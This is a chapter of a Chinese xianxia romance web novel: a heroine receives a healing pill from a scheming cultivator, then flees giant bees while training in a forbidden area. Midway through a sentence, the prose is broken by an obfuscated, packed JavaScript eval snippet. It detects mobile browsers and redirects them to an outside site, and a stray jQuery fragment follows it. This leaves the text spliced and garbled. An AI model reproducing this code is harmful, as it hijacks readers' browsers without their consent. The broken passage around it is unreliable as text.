瀑布倾泻而下,不断冲刷着突起的岩石表面以及数把银剑,水花四溅。
清越水流声伴着水汽静静漫延。
凌迩一时有些没听清他刚说的话,偏头问:“你说什么?”
郁云:“如果我能给你雪芙丹呢?”
“你?”凌迩狐疑地看着他。
倒不是不信他。
毕竟她心知肚明,这人压根不是什么普通角色,成日神神秘秘行踪成谜不说,就连上次陪她去个禁地的功夫都能无故抛下她消失一个时辰。
直觉告诉她,这人必然不会那么好心。
她可不愿又被迫掺和到什么事里边去,于是警惕后退半步:“还是不用了,我有办法拿到。”
郁云眉心微皱:“你所谓的办法就是靠姬意远?”
“……”
凌迩忍着翻白眼的冲动:“不关你事。”
见她转身要走,郁云下意识捉住她手腕,一点点收紧力度:“你能要他的东西,为何不能要我的?”
凌迩:?
她甚至怀疑自己是不是幻听,想抽回手却抵不过他的手劲:“你今日吃错药了?”
郁云抿住唇,握住她手腕的指节一紧。
而后缓缓松开。
“我只管你讨要一样东西。”
男人不知从何处摸出只拇指大小的小药瓶:“雪芙丹眼下便可送你。”
凌迩迟疑:“你要什么东西?”
男人没说话,只轻抬指尖——
藤蔓很快卷着东西送到郁云手上,他抓住宝蓝色储物袋,浅色眸子直直盯着她,没错过凌迩面上一丝一毫的表情变化。
“你要这个?”
凌迩一愣,欲言又止。
郁云眯起眼角:“怎么,舍不得?”
“……倒也没有。”
她摇摇头,心中暗忖反正留着这东西也是准备用来以后换灵石的,现在就当提前花出去了。
“你若是不情愿,我也不勉强——”
“诶诶!!”
眼见人作势要把药瓶收回去,就算明知对方此举分明有意戏弄,凌迩也还是一个箭步冲上前,连同药瓶和对方指节一并攥入自己手心。
“不勉强不勉强。”
她微微一笑,张口就道:“你要是实在喜欢,改日我按着这个颜色给你买一沓!”
郁云垂下眼皮,视线凝在她手上:“好啊。”
凌迩:……
她就顺嘴一说不要当真啊喂!
她讪笑几声,拿过雪芙丹就松开了抓着他手指的手,一打开药瓶,只见唯一一颗形状圆润光滑的褐色丹药静静躺着。
一缕清淡药香漫出来。
仔细闻,甚至能嗅到一两分花香,和郁云身上的香味一模一样。
凌迩正举着药瓶犹豫不决。
谁知下一刻,一只手毫无预兆伸过来,将瓶中丹药倒在掌心。
凌迩愣住。
眼睁睁看着郁云并指为剑,从丹药身上细细刮了一层药粉下来。
而后,男人眼也不眨便随手在自己小臂上划下道一掌长的血痕。鲜红的血瞬间争先恐后溢出,顺着白皙肘尖往下,很快污了衣裳。
血腥气飘散在空中。
迎着凌迩惊愕的视线,男人将刮下来的药粉尽数抹在血痕上,薄唇略微向上,弯出道浅淡弧度——
“放心,此丹无毒。”
另一只手伸到她面前,掌心朝上,放着丹药。
“……”
凌迩张了张嘴,却不知道该说什么,只好从他手中接过药。
解开面纱,她咬咬牙,还是把药吞了下去。
“怎么样,疤好了吗?”
她忍不住摸摸侧脸,问他。
郁云:“没。”
凌迩有些失望,扭头跑去洗剑池边,对着水面左右照照,发现自己脸上伤疤确实没什么变化,默默蹲下身垂首。
身侧缓缓落下脚步声。
郁云垂眼看她发顶:“丹药见效需要时间,你不必——”
“不必什么?”
凌迩刚戴好面纱,仰起头来。
圆眸澄澈如初,清楚映着男人面容,未见半点泪光。
“……无事。”
他移开视线,看向在日光下泛着微光的细小水花。
凌迩耸耸肩,挽起袖子重新投入洗剑中。
可能是莫名其妙得了丹药的原因,干起活来也格外有动力,没多久她就把她自己那一半全洗好了。
一扭脸,郁云还搁边上站着。
藤蔓也没收起来,依旧在他身后一晃一晃,打眼看过去,几乎能让人以为那是条凭空生出的狗尾巴。
凌迩忍住笑,眼珠一转,出声问他:
“你到底要不要陪我去?你要是愿意的话剩下的剑我给你包了。”
去禁地练剑无疑对她短期内提升剑术很有帮助,宗门大比之前,她大概是要频繁出入的。
如果可以,她还是希望能多层保障。
这人今日脾气虽怪,但好歹刚刚还愿意把雪芙丹给她,想来能有点希望?
然而,事与愿违——
郁云压根就没看她,言简意赅地吐出一个“不”字。
凌迩面上笑意一下凝固,瘪瘪嘴。
也懒得再说什么,转身就走。
某条晃动着的藤蔓瞬间凝滞,甚至追着女人远去的背影好一会,才被人一寸一寸捏着藤身生生拽回来。
“真想去?”
郁云以指轻点藤蔓,缓声道:“若非她性命垂危,不可主动现身。”
藤蔓晃晃脑袋,在他手腕盘了一圈又一圈。
男人稍一抬手,藤蔓身形迅速变小,直到变得如同尾指粗细方才停下。
形同小青蛇的藤蔓蜷了蜷,在他指尖轻轻一抱,而后松开,很快便朝禁地方向离开。
短短几息后。
一道黑色人影悄无声息出现。
浅色白光一闪而过,隐形防护罩悄然升起。
整个空间被一分为二,原本嘈杂不休的水流声、蝉鸣声全部远去,只剩一片寂静。
面容姣好的“女子”负手而立,虚虚遥望某个方向,手中不断摩挲缺了红玉的扳指:“结果如何?”
黑衣人即刻单膝点地,将头垂下:“他身旁有长老相护,属下无能,仅刺其心口便被逼退,未能二次近身。”
话音落下,没有回应。
时间一点一滴过去。
无形的压迫感逼得黑衣人汗出如浆,却不敢去擦,只将脑袋垂得更低,几乎贴地。
“离开宗门,把痕迹抹干净,以及——”
郁云单手抚上心口,瞳孔闪过一丝兴味,“回去查查,灵蛊是否还有蛊惑人心的作用。”
黑衣人:“……是。”
黑影倏忽散去,防护罩一并消失。
独留池水幽凉。
不知何时,池边石缝间慢悠悠钻出来一条脑袋圆溜溜的小蛇,不时吐舌,努力晃着身子捕捉空中猎物的气息。
“好可爱的小东西。”
小蛇的七寸被他轻轻掐起,身上淡淡兰香蛊得它神志不清。
“可惜了——”
和话音一齐落下的,是小蛇断成两节的身子。
郁云用手帕慢条斯理地擦手,擦完后的手帕轻轻一晃,盖在了小蛇黑豆似的眼珠子上。
似是不经意般,宝蓝色储物袋掉落。
正正砸在小蛇身上。
浅色火焰忽地随风而起,不过短短半刻功夫,所有一切便都了无痕迹。
不知何时冒出来另一条藤蔓,认命般卷起池边剩下一半银剑扔进池中。
水流冲击剑身。
刷刷洗剑声渐响。
……
另一边,天谕宗禁地。
“啊啊啊啊——!”
凌迩一脚踩过污水坑,脚步跑得飞快。身后五六只人脑袋大小的黑蜂紧追不舍,巨大的嗡鸣声仿佛要把她耳膜震破。
这已经是她今日遭遇的第二拨妖兽了。
断剑剑身上来自前一只妖兽的血还没凉,就被迫跟着她一路抱头逃窜。
风夹着永不停歇的雨丝灌进喉咙里,带来难以忍受的窒息感。
凌迩咬牙一直跑、一直跑。
直到某一瞬间,她突然来个下腰,旋身反刺,瞬间将追得最近那只黑蜂捅个正着!
“哈哈蠢货!”
她满脸得意,明明身体累得要命,却两眼发光,手臂肌肉绷紧,将断剑挥舞得愈发连贯起劲。
没有固定剑式,也没有固定身法。
全靠着当初从书籍上记下来的几种基础剑招随机搭配组合。
凌迩猛一踏地面,整个人如离弦之箭似的挥剑冲出,剑随意动,剑芒闪烁间,仿佛无数剑影晃动,令人眼花缭乱。
就这样,黑蜂很快又没了三只。
正当她预备一举歼灭时,原本渐小的嗡鸣声忽地再次变大,转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995090|178139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头一看,远处竟飘来黑压压一大片东西。
定睛一看,全是密密麻麻的黑蜂!
凌迩一惊,头皮发麻。
哪里还顾得上挥剑,登时扭头就跑,还不忘脱掉身上妃红外裳。
正巧迎面撞上挂在树枝上垂下来的绿色条状物,她看也不看,直接一剑拍飞。
像是感受到主人的紧迫,断剑轻轻颤动起来。
凌迩喘着粗气握紧手中剑,眼看就要跑到悬崖边时,视线突然凝在不远处一泥潭上。
身后黑蜂很快追上。
她赶紧朝泥潭冲去,扔掉碍事面纱后两眼一闭,捏住鼻子,二话不说就拖着明显充满抗拒的断剑纵身跳入泥潭中!
冰凉湿润的泥土瞬间把她整个人密不透风地包裹起来。
凌迩死死屏住呼吸。
耳边一片死寂,什么声音都被厚厚泥层隔绝在外,让她无法判断外界情况。
一息、两息、三息……
她被憋得满脸通红。
不行了不行了!
凌迩双手一撑就要起来,谁知断剑却在这时频繁震动起来,还非拽着她衣角不许她离开。
她果断一掌拍下,断剑老实了。
头才冒出泥潭,嗡鸣声霎时传入耳中。
凌迩暗道一声不妙,不过好在自己全身上下都被抹了层厚泥,黑蜂们似乎还没反应过来。
她刻意放轻动作,提剑想要偷偷离开。
然而,才迈出一步,脚下传来啪嗒一声响。
黑蜂们瞬间调转方向。
凌迩:!!
天杀的,到底是谁把这种不长叶子还成天掉枯枝的蠢树种在这里!
她又开始逃。
如此这般来来回回。
凌迩又是蹲草丛又是躲水下,着实废了好大一番功夫才终于把蜂群甩掉。
正就着溪水洗掉满身泥泞呢,扭脸一看,却发现自己身后袍角不知什么时候多了个东西。
巴掌大小的东西通身漆黑,椭圆形外壳上长满褐色倒刺。
就是这些倒刺将她漂亮的衣服划出条不小的口子,整个玩意儿得以牢牢挂在她身后。
她举着断剑把东西挑到地上,谨慎戳戳。
什么反应都没有。
倒是断剑跟受了什么刺激似的,又莫名开始颤动,甚至发出轻鸣,一副恨不得主动劈了这东西的激动模样。
凌迩嫌烦啧了声,一拍剑柄。
断剑:……
它委委屈屈,到底不动了。
凌迩再次把目光投向地上那玩意。
鬼使神差下,她想伸手去碰。
不料这时,一道绿色影子闪过,猛地将这黑色不明物一下抽飞!
凌迩愣在原地,缓缓眨了眨眼。
那似乎……是条藤蔓?
应该是错觉吧?
她按下心中疑虑,既然那奇奇怪怪的玩意已然消失不见,便也没兴趣再找。
“走,我们明日继续。”
凌迩弯唇一笑,拍拍断剑剑身。
……
一连十几日。
禁地天气依旧飘着细雨,仿佛从来没变过。
一人一剑每日都在禁地外层那一圈东奔西跑。
直至深夜才顶着满身狼狈偷偷回峰。
为了不被檀婆发现,她还特意谎称自己要去陪突然受伤的男主姬意远,大概不会很早回来,让檀婆自行歇下不必等她。
那时檀婆还特欣慰,直说那个医女必然没有她这般贴心。
对这些话,凌迩早已免疫。
并不反驳,只顾囫囵点头,实则全当耳旁风。
早上早起去主峰上课,课程结束跑去洗剑,而后又马不停蹄跑去禁地。
她每一天的行程都是如此。
虽然很累,但效果显著。
凌迩明显感觉到自己使剑愈发自如,对付难缠妖兽时也多了几分镇定从容。
约摸能发挥出原身筑基修为相对应的剑修水平了吧?她摩挲下巴嘀咕着,忍不住嘿嘿一笑。
月色幽凉,映着她晚归身影。
才回到自己房间正要推门而入时,却突然发现本该漆黑一片的房内居然有光透出。
隔着房门,一道熟悉的声音落入耳中——
“这几日,我从未见过她。”
姬意远声线沉沉,不辨喜怒。
檀婆的声音紧接着传来:“可姑娘确实同老奴说是去找姬公子你……”